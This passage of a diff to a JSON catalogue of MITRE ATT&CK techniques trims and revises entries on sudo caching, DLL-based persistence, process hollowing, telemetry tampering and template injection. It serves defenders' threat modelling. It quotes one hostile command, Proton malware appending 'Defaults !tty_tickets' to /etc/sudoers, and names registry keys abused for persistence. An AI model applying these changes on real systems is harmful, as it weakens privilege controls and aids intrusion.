credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", "meta": { "external_id": "T1206", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1206", "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", @@ -23095,12 +20589,6 @@ "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", "meta": { "external_id": "T1209", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1209", "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", @@ -23189,7 +20677,7 @@ "value": "Path Interception - T1034" }, { - "description": "Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device. \n\n \n\nOn Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device’s physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application’s manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox) \n\n \n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.(Citation: Google Project Zero Insomnia)", + "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.", "meta": { "external_id": "APP-24", "kill_chain": [ @@ -23202,12 +20690,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1430", - "https://developer.android.com/training/location/permissions", - "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services", - "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html", - "https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/", - "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" ] }, "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", @@ -23217,12 +20700,6 @@ "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", "meta": { "external_id": "T1035", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1035" ] @@ -23257,12 +20734,6 @@ "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)", "meta": { "external_id": "T1093", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.autosectools.com/process-hollowing.pdf", "https://attack.mitre.org/techniques/T1093", @@ -23308,12 +20779,6 @@ "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", "meta": { "external_id": "CAPEC-571", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1054", "https://capec.mitre.org/data/definitions/571.html", @@ -23354,15 +20819,7 @@ "https://shunix.com/shared-library-injection-in-android/" ] }, - "related": [ - { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", "value": "Code Injection - T1540" }, @@ -23370,13 +20827,6 @@ "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", "meta": { "external_id": "T1504", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "https://attack.mitre.org/techniques/T1504", @@ -23401,13 +20851,6 @@ "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)", "meta": { "external_id": "CAPEC-570", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows", - "macOS" - ], "refs": [ "http://en.wikipedia.org/wiki/Executable_compression", "https://attack.mitre.org/techniques/T1045", @@ -23457,8 +20900,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "File: File Creation", - "Windows Registry: Windows Registry Key Modification" + "File: File Creation" ], "mitre_platforms": [ "Windows", @@ -23650,7 +21092,7 @@ "value": "Account Discovery - T1087" }, { - "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", "meta": { "external_id": "CAPEC-560", "kill_chain": [ @@ -23679,8 +21121,7 @@ "https://attack.mitre.org/techniques/T1078", "https://capec.mitre.org/data/definitions/560.html", "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + "https://technet.microsoft.com/en-us/library/dn535501.aspx" ] }, "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", @@ -23690,14 +21131,6 @@ "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "meta": { "external_id": "T1079", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", @@ -23719,7 +21152,7 @@ "value": "Multilayer Encryption - T1079" }, { - "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "meta": { "external_id": "T1098", "kill_chain": [ @@ -23740,8 +21173,7 @@ "IaaS", "Linux", "macOS", - "Google Workspace", - "SaaS" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1098", @@ -23791,12 +21223,6 @@ "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", "meta": { "external_id": "T1131", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "https://attack.mitre.org/techniques/T1131", @@ -23922,15 +21348,7 @@ "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" ] }, - "related": [ - { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "value": "Input Prompt - T1411" }, @@ -23938,13 +21356,6 @@ "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", "meta": { "external_id": "CAPEC-569", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1141", "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", @@ -23996,12 +21407,6 @@ "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).", "meta": { "external_id": "T1161", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1161", "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", @@ -24024,13 +21429,6 @@ "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "meta": { "external_id": "T1116", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", "http://www.thesafemac.com/new-signed-malware-called-janicab/", @@ -24052,7 +21450,7 @@ "value": "Code Signing - T1116" }, { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files.", "meta": { "external_id": "T1119", "kill_chain": [ @@ -24066,9 +21464,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "IaaS", - "SaaS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1119" @@ -24078,7 +21474,7 @@ "value": "Automated Collection - T1119" }, { - "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the *\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)", + "description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", "meta": { "external_id": "T1221", "kill_chain": [ @@ -24097,11 +21493,9 @@ "https://attack.mitre.org/techniques/T1221", "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", "https://blog.talosintelligence.com/2017/07/template-injection.html", - "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/", "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", "https://github.com/ryhanson/phishery", - "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread", "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780" ] }, @@ -24158,25 +21552,7 @@ "value": "Data Encoding - T1132" }, { - "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", - "meta": { - "external_id": "T1521", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521" - ] - }, - "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "value": "Encrypted Channel - T1521" - }, - { - "description": "An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files. \n\n \n\nMalware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device’s cameras for video recording rather than capturing the victim’s screen. \n\n \n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user. ", + "description": "Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -24192,7 +21568,7 @@ ] }, "uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", - "value": "Video Capture - T1512" + "value": "Capture Camera - T1512" }, { "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", @@ -24207,8 +21583,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1125", @@ -24223,12 +21598,6 @@ "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", "meta": { "external_id": "CAPEC-564", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1162", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", @@ -24253,14 +21622,6 @@ "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "meta": { "external_id": "T1172", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.icir.org/vern/papers/meek-PETS-2015.pdf", "https://attack.mitre.org/techniques/T1172" @@ -24282,13 +21643,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "meta": { "external_id": "T1182", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1182", "https://forum.sysinternals.com/appcertdlls_topic12546.html", @@ -24312,16 +21666,6 @@ "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux", - "Office 365", - "SaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1192", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", @@ -24341,7 +21685,7 @@ "value": "Spearphishing Link - T1192" }, { - "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", + "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, 